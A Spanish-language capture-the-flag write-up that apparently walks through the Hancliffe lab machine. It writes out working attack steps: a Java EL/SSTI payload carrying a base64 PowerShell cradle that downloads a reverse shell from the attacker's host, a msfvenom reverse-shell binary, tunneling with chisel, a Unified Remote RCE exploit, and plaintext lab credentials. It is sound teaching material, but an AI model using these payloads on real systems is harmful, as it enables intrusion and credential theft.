Conocimientos
-
Abuso de normalización URI
-
SSTI
-
User Pivoting 1
-
Desencriptación de contraseñas Firefox
-
User Pivoting 2
-
Debbug Archivo EXE con Ghidra
-
Análisis de código en c
-
Criptografía 1
-
Criptografía 2
-
Analisis de código en ensamblador
-
Creación de sentencias para desplazarse entre registros
-
Debbuging con x32dbg
-
Buffer Overflow - Socket Reuse (Avanzado)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS -vvv 10.10.11.115 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-25 17:19 GMT
Initiating SYN Stealth Scan at 17:19
Scanning 10.10.11.115 [65535 ports]
Discovered open port 8000/tcp on 10.10.11.115
Discovered open port 80/tcp on 10.10.11.115
Increasing send delay for 10.10.11.115 from 0 to 5 due to 11 out of 17 dropped probes since last increase.
Discovered open port 9999/tcp on 10.10.11.115
Increasing send delay for 10.10.11.115 from 5 to 10 due to 11 out of 23 dropped probes since last increase.
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 10.10.11.115, 16) => Operation not permitted
Completed SYN Stealth Scan at 17:20, 68.58s elapsed (65535 total ports)
Nmap scan report for 10.10.11.115
Host is up, received user-set (0.15s latency).
Scanned at 2023-01-25 17:19:12 GMT for 69s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
8000/tcp open http-alt syn-ack ttl 127
9999/tcp open abyss syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 68.67 seconds
Raw packets sent: 327714 (14.419MB) | Rcvd: 26 (1.144KB)
Escaneo de Servicios y Versiones de cada puerto
nmap -sCV -p80,8000,9999 10.10.11.115 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-25 17:21 GMT
Nmap scan report for 10.10.11.115
Host is up (0.072s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.21.0
|_http-server-header: nginx/1.21.0
|_http-title: Welcome to nginx!
8000/tcp open http nginx 1.21.0
|_http-server-header: nginx/1.21.0
|_http-title: HashPass | Open Source Stateless Password Manager
9999/tcp open abyss?
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| Welcome Brankas Application.
| Username: Password:
| NULL:
| Welcome Brankas Application.
|_ Username:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.93%I=7%D=1/25%Time=63D16504%P=x86_64-pc-linux-gnu%r(NU
SF:LL,27,"Welcome\x20Brankas\x20Application\.\nUsername:\x20")%r(GetReques
SF:t,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")
SF:%r(HTTPOptions,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Pa
SF:ssword:\x20")%r(FourOhFourRequest,31,"Welcome\x20Brankas\x20Application
SF:\.\nUsername:\x20Password:\x20");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.15 seconds
Con whatweb escaneo las tecnologías que utiliza el servidor web
whatweb http://10.10.11.115
http://10.10.11.115 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.21.0], IP[10.10.11.115], Title[Welcome to nginx!], nginx[1.21.0]
whatweb http://10.10.11.115:8000
http://10.10.11.115:8000 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.21.0], IP[10.10.11.115], JQuery, Open-Graph-Protocol[website], PHP[8.0.7], PasswordField[masterpassword], Script, Title[HashPass | Open Source Stateless Password Manager], X-Powered-By[PHP/8.0.7], nginx[1.21.0]
Puerto 9999
Si me conecto con netcat, me aparece la siguiente aplicación
nc 10.10.11.115 9999
Welcome Brankas Application.
Username: admin
Password: admin
Username or Password incorrect
Me pide un usuario y una contraseña para entrar, del cual no dispongo y como tarda en responder no creo que sea óptimo aplicar fuerza bruta
Puerto 80 (HTTP) | Puerto 8000 (HTTP)
El contenido de la página principal es el siguiente:
Y por el puerto 8000
Tiene un campo que genera contraseñas en función de los datos de que le pases al formulario
Hago fuzzing en el puerto 80 y encuentro una ruta que aplica un redirect a otro directorio
gobuster dir -u http://10.10.11.115/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 40 -x txt,html,php
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.115/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2023/01/25 17:47:23 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 612]
/Index.html (Status: 200) [Size: 612]
/%20 (Status: 200) [Size: 612]
/maintenance (Status: 302) [Size: 0] [--> /nuxeo/Maintenance/]
/INDEX.html (Status: 200) [Size: 612]
Intercepto la respuesta con BurpSuite
El redirect lo aplica siguiendo la cabecera Location
Vuelvo a aplicar fuzzing, pero esta vez añadiendo una barra al final
gobuster dir -u http://10.10.11.115/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 40 --add-slash
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.115/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2023/01/25 17:59:35 Starting gobuster in directory enumeration mode
===============================================================
/maintenance/ (Status: 200) [Size: 714]
Ahora el código de estado es 200 y no aplica el redirect
Si intercepto la petición con BurpSuite, y capturo la respuesta puedo ver que se está arrastrando una cookie de sesión
La estructura es típica de TomCat, por lo que es probable que haya un reverse proxy por detrás. Algunas versiones de Tomcat tienen una vulnerabilidad que permite acceder a rutas a las que no se debería tener acceso. Se le conoce como Abuse URI Normalization. En este artículo está detallado en qué consiste
Para poder abusar de este bypass de restricciones, hay que conocer la ruta de antes, no por poner estas estructuras en la URL va a desaparecer el Forbbiden
Fuzzeo por archivos y extensiones dentro del directorio maintenance, sabiendo que por detrás hay un TomCat, por lo que le incorporo la extensión jsp
gobuster dir -u http://10.10.11.115/maintenance -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x jsp
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.115/maintenance
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: jsp
[+] Timeout: 10s
===============================================================
2023/01/25 18:14:05 Starting gobuster in directory enumeration mode
===============================================================
/index.jsp (Status: 200) [Size: 714]
Como se por el redirect que la ruta maintenance está bajo el directorio nuxeo, aplico fuzzing abusando del URI Normalization, añadiendole la extensión jsp
Encuentra un panel de inicio de sesión
wfuzz -c --hc=404 -t 150 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://10.10.11.115/maintenance/..;/FUZZ.jsp"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.115/maintenance/..;/FUZZ.jsp
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 302 0 L 0 W 0 Ch "index"
000000039: 200 450 L 882 W 8871 Ch "login"
Busco vulnerabilidades que estén relacionadas con Nuxeo
searchsploit nuxeo
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Nuxeo 6.0/7.1/7.2/7.3 - Remote Code Execution (Metasploit) | jsp/webapps/41748.rb
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Como el Metasploit no se puede utilizar en el OSCP, busco por una alternativa en python
Encuentro un CVE en Github donde explican la vulnerabilidad y comparten un script que lo automatiza
Para comprobar si es vulnerable, tengo que dirigirme a una ruta específica e inyectar un SSTI, teniendo en cuenta que tengo que abusar del URI Normalization. En caso de que se interprete podré continuar
Se da el caso, 7*7 = 49, y se ve reflejado en el error
En PayloadAllTheThings busco por Server Side Template Inyection y filtro por Java, para ver los payloads más comunes de ejecución remota de comandos
Me pongo en escucha de trazas ICMP por la interfaz tun0 para enviarme un ping a mi equipo
Probando el primer payload no ejecuta nada y me devuelve un código de estado 500 y no recibo nada
${T(java.lang.Runtime).getRuntime().exec('')}
El segundo tampoco, pero me devuelve un código de estado diferente
Busco por más tipos de payload que comiencen por ‘${‘
Llego a una sección llamada Expression Language EL - Code Execution. Como un ejemplo veo que está ejecutando un binario de Windows, pruebo con ese
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("ping -n 1 10.10.16.6")}
Y ahora sí, recibo la traza ICMP
tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:52:43.194947 IP 10.10.11.115 > 10.10.16.6: ICMP echo request, id 1, seq 2, length 40
18:52:43.194968 IP 10.10.16.6 > 10.10.11.115: ICMP echo reply, id 1, seq 2, length 40
Para ganar acceso al sistema, utilizo Invoke-PowerShellTcp.ps1, del repositorio de nishang
En la última linea indico mi el comando que tiene que ejecutar una vez interpretado
cat Invoke-PowerShellTcp.ps1 | tail -n 1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.6 -Port 443
Creo un servicio http con python para compartir el recurso y desde el payload del SSTI, introduzco una sentencia en powershell para que se ejecute
python3 -m http.server 80
Para evitar problemas con las comillas, lo convierto a base64 con el encoder UTF-16le
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.6/Invoke-PowerShellTcp.ps1')" | iconv -t utf-16le | base64 -w 0 | xclip -sel clip
Introduzco el payload en la URL, lo urlencodeo con BurpSuite y al enviar gano acceso al sistema
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADYALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAALgBwAHMAMQAnACkA")}
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.115] 51196
Windows PowerShell running as user svc_account on HANCLIFFE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Nuxeo>whoami
hancliffe\svc_account
PS C:\Nuxeo>
En el escritorio del usuario hay un script en batch
PS C:\Users\svc_account\Desktop> type server.bat
cd C:\Nginx
C:\Nginx\Start.bat
Si abro el otro script
PS C:\Users\svc_account\Desktop> type C:\Nginx\Start.bat
@echo off
start C:\nginx\nginx.exe
start C:\php\php-cgi.exe -b 127.0.0.1:8888
popd
EXIT /b
Al listar los puertos abiertos, puedo ver más de los que el nmap me reportaba
PS C:\Users\svc_account\Desktop> PS C:\Users\svc_account\Desktop> netstat -nat
Active Connections
Proto Local Address Foreign Address State Offload State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:5432 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9510 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9512 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9720 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9999 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING InHost
Para no tener que montarme un proxy por SOCKS5 o hacer port forwarding a mi equipo, utilizo un oneliner en powershell que se encarga de hacer un escaneo rápido
Get-NetTCPConnection -State Listen | Select-Object -Property *,@{'Name' = 'ProcessName';'Expression'={(Get-Process -Id $_.OwningProcess).Name}}
Esto devuelve una cantidad de campos vacíos innecesarios. Para evitar ruido, utilizo format tables para seleccionar solo los que me interesan
PS C:\Users\svc_account\Desktop> Get-NetTCPConnection -State Listen | Select-Object -Property *,@{'Name' = 'ProcessName';'Expression'={(Get-Process -Id $_.OwningProcess).Name}} | FT -Property LocalAddress,LocalPort,ProcessName
LocalAddress LocalPort ProcessName
------------ --------- -----------
:: 49668 services
:: 49667 svchost
:: 49666 svchost
:: 49665 wininit
:: 49664 lsass
:: 47001 System
:: 5985 System
:: 5432 postgres
:: 445 System
:: 135 svchost
0.0.0.0 49668 services
0.0.0.0 49667 svchost
0.0.0.0 49666 svchost
0.0.0.0 49665 wininit
0.0.0.0 49664 lsass
0.0.0.0 9999 svchost
0.0.0.0 9741 MyFirstApp
0.0.0.0 9512 RemoteServerWin
0.0.0.0 9510 RemoteServerWin
127.0.0.1 9300 java
127.0.0.1 9200 java
127.0.0.1 8888 php-cgi
127.0.0.1 8080 java
127.0.0.1 8009 java
127.0.0.1 8005 java
0.0.0.0 8000 nginx
0.0.0.0 5432 postgres
0.0.0.0 5040 svchost
10.10.11.115 139 System
0.0.0.0 135 svchost
0.0.0.0 80 nginx
En el puerto 9512 está corriendo un RemoteServerWin. En este artículo explican en que consiste
Hace refencia a “Unified Remote”, que al buscar por vulnerabilidades en exploit-db, encuentro una ejecución remota de comandos
searchsploit Unified Remote
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow | windows/remote/48156.c
Cisco Unified Operations Manager - Multiple Vulnerabilities | windows/remote/17304.txt
Cisco Unified Operations Manager 8.5 - '/iptm/faultmon/ui/dojo/Main/eventmon_wrapper.jsp' Multiple Cross-Site Scripting Vulnerabilities | hardware/remote/35765.txt
Cisco Unified Operations Manager 8.5 - '/iptm/logicalTopo.do' Multiple Cross-Site Scripting Vulnerabilities | hardware/remote/35766.txt
Cisco Unified Operations Manager 8.5 - 'iptm/advancedfind.do?extn' Cross-Site Scripting | hardware/remote/35762.txt
Cisco Unified Operations Manager 8.5 - 'iptm/ddv.do?deviceInstanceName' Cross-Site Scripting | hardware/remote/35763.txt
Cisco Unified Operations Manager 8.5 - Common Services Device Center Cross-Site Scripting | hardware/remote/35780.txt
Cisco Unified Operations Manager 8.5 - iptm/eventmon Multiple Cross-Site Scripting Vulnerabilities | hardware/remote/35764.txt
Comodo Unified Threat Management Web Console 2.7.0 - Remote Code Execution | multiple/webapps/48825.py
McAfee Unified Threat Management Firewall 4.0.6 - 'page' Cross-Site Scripting | windows/remote/34115.txt
NVR SP2 2.0 'nvUnifiedControl.dll 1.1.45.0' - 'SetText()' Command Execution | windows/remote/4322.html
Sun ONE Unified Development Server 5.0 - Recursive Document Type Definition | multiple/remote/22178.xml
Unified Remote 3.9.0.2463 - Remote Code Execution | windows/remote/49587.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Me descargo el script y subo el chisel a la máquina víctima para montarme un proxy por SOCKS5 y tener conectividad
searchsploit -m windows/remote/49587.py
mv 49587.py uniremote.py
Me monto un servicio http con python
python3 -m http.server 80
Desde la máquina víctima lo descargo
PS C:\Users\svc_account\Desktop> certutil.exe -f -split -urlcache http://10.10.16.6/chisel.exe chisel.exe
**** Online ****
000000 ...
2f2c00
CertUtil: -URLCache command completed successfully.
En mi equipo local monto un servidor con chisel
chisel server -p 1234 --reverse
2023/01/25 20:28:57 server: Reverse tunnelling enabled
2023/01/25 20:28:57 server: Fingerprint E6/3bj08/E9LC4txplBgXwdWVrNZePV5l/ojP++SBfw=
2023/01/25 20:28:57 server: Listening on http://0.0.0.0:1234
En la máquina víctima me conecto
PS C:\Users\svc_account\Desktop> .\chisel.exe client 10.10.16.6:1234 R:socks
Inspeccionando el exploit del Unified, veo que necesito un binario .exe para que lo suba a la máquina y lo ejecute
Con msfvenom, creo uno que me entable una reverse shell a mi equipo
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 --platform windows -f c -o payload.exe
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of c file: 1392 bytes
Saved as: payload.exe
Ejecuto el exploit pasando por el proxy
python3 -m http.server 80
proxychains python2 uniremote.py 10.10.11.115 10.10.16.6 payload.exe
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[+] Connecting to target...
[+] Popping Start Menu
[+] Opening CMD
[+] *Super Fast Hacker Typing*
[+] Downloading Payload
[+] Done! Check listener?
Gano acceso al sistema como el usuario clara
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.115] 51363
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.
C:\Users\clara>whoami
whoami
hancliffe\clara
C:\Users\clara>
Y puedo visualizar la primera flag
C:\Users\clara\Desktop>type user.txt
type user.txt
1cbb8f5306279fb31ac63224431112e7
Escalada
No tengo ningún privilegio especial
C:\Users\clara\Desktop>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
En la raíz hay un directorio llamado DevApp
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is B0F6-2F1B
Directory of C:\
09/14/2021 09:57 AM <DIR> DevApp
06/26/2021 09:45 PM <DIR> nginx
06/26/2021 04:16 AM <DIR> Nuxeo
12/07/2019 01:14 AM <DIR> PerfLogs
06/26/2021 07:49 PM <DIR> php
08/27/2021 06:20 AM <DIR> Program Files
06/26/2021 09:15 PM <DIR> Program Files (x86)
06/26/2021 09:35 PM <DIR> Users
10/03/2021 10:08 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 5,761,298,432 bytes free
Pero no tengo acceso para entrar
C:\>cd DevApp
cd DevApp
Access is denied.
Hay un usuario en el sistema development
C:\>net user
net user
User accounts for \\HANCLIFFE
-------------------------------------------------------------------------------
Administrator clara DefaultAccount
development Guest svc_account
WDAGUtilityAccount
The command completed successfully.
Si me convierto en este quiero pensar que si tendré acceso al otro directorio
Subo el WinPeas a la máquina para aplicar reconocimiento
Y encuentra contraseñas almacenadas en Firefox
Showing saved credentials for Firefox
Url: http://localhost:8000
Username: hancliffe.htb
Password: #@H@ncLiff3D3velopm3ntM@st3rK3y*!
Si voy al generador de contraseñas que estaba expuesto en el puerto 8000 e introduzco esos datos para el usuario development, obtengo su contraseña
Como el usuario development pertenece al grupo Remote Management Users, me puedo conectar con evil-winrm
proxychains evil-winrm -i 10.10.11.115 -u 'development' -p 'AMl.q2DHp?2.C/V0kNFU'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\development\Documents>
Ahora puedo acceder al directorio que no tenía acceso. Dentro hay dos archivos
Al tratar de transferirmelo por SMB, me da este error
*Evil-WinRM* PS C:\DevApp> copy .\MyFirstApp.exe \10.10.16.6\shared\MyFirsApp.exe
Could not find a part of the path 'C:\10.10.16.6\shared\MyFirsApp.exe'.
At line:1 char:1
+ copy .\MyFirstApp.exe \10.10.16.6\shared\MyFirsApp.exe
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Copy-Item], DirectoryNotFoundException
+ FullyQualifiedErrorId : System.IO.DirectoryNotFoundException,Microsoft.PowerShell.Commands.CopyItemCommand
En mi máquina linux monto el servidor SMB pero con autenticación
impacket-smbserver shared $(pwd) -smb2support -user rubbx -password rubbx
Desde la máquina victima, creo una unidad lógica x: que esté sincronizada con mis recursos compartidos
*Evil-WinRM* PS C:\DevApp> net use x: \\10.10.16.6\shared /user:rubbx rubbx
The command completed successfully.
Copio el binario a la unidad lógica
*Evil-WinRM* PS C:\DevApp> copy .\MyFirstApp.exe x:\MyFirstApp.exe
Con Strings, filtro por la cadena que veía al conectarme por netcat al puerto 9999 y la encuentra
strings MyFirstApp.exe | grep -i "Welcome Brankas Application."
Welcome Brankas Application.
Por tanto esta es la aplicación que corre en el puerto 9999.Para ver como está estructurada, abro la importo en Ghidra
Dentro de exports, se encuentra la función principal
Pero como no hay nada descriptivo, me dirijo al buscador para encontrar lo que me interesa
Al conectarme por netcat me pedía un usuario y una contraseña, por lo que si filtro por Username encuentro donde está definido
Para poder ver el código, tengo que ir a las referencias y selecciono el único match
Al abrirlo puedo ver el siguiente código en c
Si hago doble click en la función login, puedo ver donde se define
Se leakea un usuario en texto claro y una contraseña que se procesa mediante un par de funciones para generar la final. Para entender mejor como funciona el código y referenciar mejor a las variables les cambio el nombre por uno más visual
A la función login se le están pasando por referencia dos variables, que corresponde al input que le proporciono con netcat, es decir, también son el usuario y la contraseña. La función _memmove no sabía lo que era, así que lo busco en Google y según Microsoft es para pasar el contenido de una variable a otra, por lo que local_39 es otra vez la contraseña
Tras estas modicaciones, se ve así el resultado
Abro la función encrypt_1 para ver en que consiste
De la misma forma, param_2 quiero pensar que es la contraseña. Se la está proporcionando como argumento a otra función llamada _strdup, como no se lo que hace, vuelvo a buscarlo en Google y encuentro la respuesta
Parece ser que crea un duplicado del número de bytes del argumento que se le ha proporcionado. Como de momento no se a qué se refiere, renombraré a la variable _Str como modpassword
La función _strlen() devuelve la longitud de la contraseña que previamente se ha modificado con _strdup(). Le cambio el nombre a sVar2 por modpasslen
La variable local_10 es interna del bucle for(), por lo que la puedo sustituir por la típica ‘i’ que se suele utilizar de ejemplo. Desde que ‘i’ vale 0 hasta que su valor es una unidad mayor que la longitud de la contraseña modificada, se le irá incrementando su valor en una unidad. Va iterando por cada caracter y aplica una compativa de un espacio con respecto al caracter y a su vez se tiene que cumplir que no es igual a la cadena en hexadecimal ‘\x7f’. Para verlo de forma más clara, convierto el valor del espacio y de la cadena en hexadecimal a decimal. En caso de que la condición se cumpla, si el caracter es menor que ese mismo valor, se le va a sumar ‘0x2f’, que es 47 en decimal. De una forma más concreta, esto es como aplicar un rot47, aunque el más común es rot13. En caso de que el caracter al aplicar el rot47 sea menor que 127, se le va a asignar ese valor a la posición de la contraseña que corresponda. En caso contario, se le va a restar al rot47 ‘0x5e’, que corresponde a 94 en decimal. Y finalmente se retorna el valor de la contraseña
Le cambio el nombre a cVar1 por rot47char, y el nombre de la función _encrypt1 por rot47
Una vez desglosada la función tiene la siguiente pinta:
Vuelvo a la función del login, cambio los valores de algunas variables porque había repetido password y me entraba en conflicto
Como se estaba retornando el valor de password la función rot47 y lo está igualando a local_18, le cambio el nombre a modpassrot47. Local_1c está extrayendo la longitud total de modpassrot47, así que le cambio el nombre a modpassrot47len.
Para ir poco a poco haciendo el proceso inverso y encriptando la contraseña que tengo, abro cyberchef en el navegador y le voy introduciendo los encoders que conozco. Para empezar está en base64 y se le ha aplicado un rot47
A la función _encrypt2, le está pasando la contraseña en formato rot47 y su longitud como argumentos. Si abro _encrypt2 se puede ver lo siguiente:
Cambio otra vez los nombres de las variables siguiendo el mismo principio que en la otra función. En local_11 está almacenando cada caracter de la contraseña en rot47 modificada y está aplicando ciertas comparativas para que en caso de que se cumpla una de esas condiciones se le asigne a la contraseña en rot47 modificada el valor del caracter. Para ir más al grano, voy a cambiar directamente todos los valores que están en hexadecimal a decimal. Cambio el nombre de la variable local_11 a chr.
Si hago un man ASCII desde consola, puedo ver que aquellos caracteres menores de 65 son símbolos
072 58 3A :
073 59 3B ;
074 60 3C <
075 61 3D =
076 62 3E >
077 63 3F ?
Pasa lo mismo para los mayores de 90 y menores de 97
133 91 5B [
134 92 5C \ '\\'
135 93 5D ]
136 94 5E ^
137 95 5F _
140 96 60 `
Y en el otro intervalo
172 122 7A z
173 123 7B {
174 124 7C |
175 125 7D }
176 126 7E ~
177 127 7F DEL
Por tanto este condicional se encarga de comprobar si el caracter por el que se está iterando es un símbolo y en caso de que lo sea, se le va a asignar el valor del caracter a la posición que corresponda en la contraseña modificada en rot47, que es como si se dejara igual. En caso contrario, comprueba que el caracter es menor que 91, es decir, letras mayúsculas, por que los simbolos están restringidos en la anterior condición.
101 65 41 A
102 66 42 B
103 67 43 C
104 68 44 D
105 69 45 E
106 70 46 F
107 71 47 G
110 72 48 H
111 73 49 I
112 74 4A J
113 75 4B K
114 76 4C L
115 77 4D M
116 78 4E N
117 79 4F O
120 80 50 P
121 81 51 Q
122 82 52 R
123 83 53 S
124 84 54 T
125 85 55 U
126 86 56 V
127 87 57 W
130 88 58 X
131 89 59 Y
132 90 5A Z
Se está definiendo un estado booleano, que en caso de que sea true, se le va a sumar 32 al caracter, que corresponde a tranformarlo a minúscula
python3
Python 3.10.9 (main, Dec 7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> chr(ord("A") + 0x20)
'a'
En la última condición se vuelve a transformar en mayúsculas
Por cada caracter le está sumando 159 unidades y a 122 le está restando la suma anteriormente calculada. Esto corresponde a restarle 37 unidades al inverso del caracter. Tomándolo como signed byte, se escaparía del rango de valores para la tabla ASCII, por lo que si lo considero como unsigned byte, tendría que sumarle 256 unidades y estaría en el rango de 0 a 255. Teniendo en cuenta que el caracter más pequeño que puede recibir es una “a” minúscula, cuyo valor en decimal es 97, si calculo la operatoria anteriormente definida, obtengo justamente el último valor posible, una “z” minúscula.
>>> chr(-ord("a") + 256 - 37)
'z'
A este método de cifrado se le conoce como Atbash y es el nombre que le asigno a la función que tiene este aspecto:
Ahora en CyberChef, añado Atbash como nuevo método de cifrado y obtengo la contraseña en texto claro
Pruebo a autenticarme con netcat utilizando esa contraseña y el usuario que tenía anteriormente
nc 10.10.11.115 9999
Welcome Brankas Application.
Username: alfiansyah
Password: K3r4j@@nM4j@pAh!T
Login Successfully!
FullName:
La credencial es correcta y ahora tengo acceso a otro campo donde puedo introducir un nuevo input
Desde el Ghidra busco referencias a la función del login y encuentro la continuación del programa
Mas adelante se puede ver un usuario y un código
Pruebo esos datos en los siguientes campos
nc 10.10.11.115 9999
Welcome Brankas Application.
Username: alfiansyah
Password: K3r4j@@nM4j@pAh!T
Login Successfully!
FullName: Vickry Alfiansyah
Input Your Code: T3D83CbJkl1299
Unlocked
El programa termina con un código de estado exitoso, pero de momento no me sirve de nada
En el código hay una funcion _SaveCreds(), que se le pasan dos argumentos y como antes pide como input en nombre y el código, quiero pensar que esos son los valores que se le proporcionan
La abro para ver en que consiste
Se está definiendo una variable local_42 a la cual se le están asignando 50 bytes de tamaño, como param_1 y param_2 sé lo que valen y con _strcpy se los está copiando a las variables que define arriba, podría tratar forzarlo metiendo una cantidad inesperada de datos para que el programa se corrompa y se efectúe un buffer overflow, del que me puedo aprovechar una vez tenga el control del EIP.
Me conecto por netcat al servicio y en el input code le meto muchas “A”
nc 10.10.11.115 9999
Welcome Brankas Application.
Username: alfiansyah
Password: K3r4j@@nM4j@pAh!T
Login Successfully!
FullName: Vickry Alfiansyah
